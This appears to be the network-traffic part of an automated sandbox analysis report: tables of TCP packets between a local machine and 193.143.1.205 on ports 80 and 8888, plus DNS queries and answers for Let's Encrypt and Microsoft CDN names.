Jan 11, 2025 01:58:51.671590090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.672261953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672278881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672293901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672308922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672323942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672333956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.672341108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672357082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672365904 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.672372103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672385931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.672389030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672405958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672419071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.672421932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672442913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672450066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.672466993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672486067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672491074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.672499895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672517061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.672528982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.672559977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.673302889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673320055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673337936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673353910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673368931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673377991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.673384905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673399925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673405886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.673417091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673433065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673434019 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.673449039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673465014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673468113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.673480988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673496008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673496962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.673511982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673523903 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.673528910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.673558950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.673990011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.674010992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.674029112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.674046993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.674077988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.676337957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.681190014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.707395077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.707428932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.707444906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.707493067 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.707596064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.707612038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.707653046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.707709074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.707751989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.707849979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.707865953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.707881927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.707899094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.707906961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.707941055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.708132029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.708183050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.708198071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.708205938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.708236933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.708264112 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.732358932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.732388973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.732405901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.732431889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.732532978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.732574940 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.732616901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.732707977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.732723951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.732738972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.732749939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.732779980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.734116077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.734163046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.734177113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.734215021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.734268904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.734286070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.734312057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.734394073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.734421015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.734433889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.734437943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.734478951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.753401041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.759597063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.759645939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.759665966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.759692907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.759808064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.759824991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.759841919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.759852886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.759879112 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.759999037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.760123968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.760139942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.760155916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.760165930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.760173082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.760189056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.760198116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.760230064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.760539055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.760555029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.760571003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.760587931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.760600090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.760608912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.760624886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.760643005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.760682106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.761068106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761085033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761100054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761117935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761127949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.761135101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761151075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761161089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.761168003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761183023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761198997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761202097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.761225939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.761851072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761867046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761883020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761895895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.761898041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761914968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761929989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761929989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.761946917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761960030 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.761962891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.761989117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.761991024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762008905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762025118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762032986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.762042046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762063980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.762856960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762876034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762892008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762903929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.762907982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762924910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762933016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.762943029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762959003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762964010 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.762975931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762993097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.762998104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.763010025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763026953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763036013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.763042927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763077974 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.763772011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763789892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763803959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763818979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.763823032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763839006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763848066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.763856888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763873100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763878107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.763889074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763906002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763914108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.763922930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763937950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763950109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.763955116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763971090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.763979912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.764007092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.764749050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764766932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764782906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764800072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764811993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.764815092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764832020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764842987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.764847994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764872074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764873981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.764878988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764883995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764894009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764902115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764909983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.764951944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.765610933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.765635967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.765654087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.765660048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.765670061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.765686989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.765697002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.765727997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.766736984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.798224926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798289061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798320055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798342943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.798348904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798381090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798394918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.798408985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798453093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.798458099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798486948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798515081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798526049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.798543930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798564911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798590899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.798681974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798698902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798715115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798727036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.798731089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798748016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.798758984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.798815012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.823013067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.823107958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.823123932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.823141098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.823184013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.823199034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.823249102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.823265076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.823280096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.823296070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.823328972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.823338985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.824800014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.824830055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.824843884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.824881077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.824934959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.824949980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.824982882 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.825048923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.825067043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.825104952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.825185061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.825198889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.825232983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.850143909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850181103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850197077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850233078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.850275040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.850378036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850394964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850445986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.850492954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850507975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850523949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850550890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.850749016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850763083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850778103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850792885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.850794077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850810051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850821018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.850826979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850842953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.850855112 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.850882053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.851207972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.851224899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.851264000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.851296902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.851310015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.851366997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.894318104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:52.274127007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:52.760037899 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:52.765019894 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:52.765105009 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:52.765347958 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:52.770237923 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:53.585922956 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:53.642698050 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:54.180759907 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 02:00:55.104090929 CET	55441	53	192.168.2.6	1.1.1.1
Jan 11, 2025 02:00:55.109021902 CET	53	55441	1.1.1.1	192.168.2.6
Jan 11, 2025 02:00:55.109152079 CET	55441	53	192.168.2.6	1.1.1.1
Jan 11, 2025 02:00:55.109206915 CET	55441	53	192.168.2.6	1.1.1.1
Jan 11, 2025 02:00:55.113986015 CET	53	55441	1.1.1.1	192.168.2.6
Jan 11, 2025 02:00:55.553425074 CET	53	55441	1.1.1.1	192.168.2.6
Jan 11, 2025 02:00:55.554469109 CET	55441	53	192.168.2.6	1.1.1.1
Jan 11, 2025 02:00:55.559530973 CET	53	55441	1.1.1.1	192.168.2.6
Jan 11, 2025 02:00:55.559658051 CET	55441	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:59:01.098553896 CET	55475	53	192.168.2.6	1.1.1.1
Jan 11, 2025 02:00:55.103409052 CET	53	53099	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:59:01.098553896 CET	192.168.2.6	1.1.1.1	0xf77c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:59:01.105777025 CET	1.1.1.1	192.168.2.6	0xf77c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:59:01.817622900 CET	1.1.1.1	192.168.2.6	0x2432	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:59:01.817622900 CET	1.1.1.1	192.168.2.6	0x2432	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:59:05.450524092 CET	1.1.1.1	192.168.2.6	0x1cf2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:59:05.450524092 CET	1.1.1.1	192.168.2.6	0x1cf2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:59:17.635248899 CET	1.1.1.1	192.168.2.6	0xf9be	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
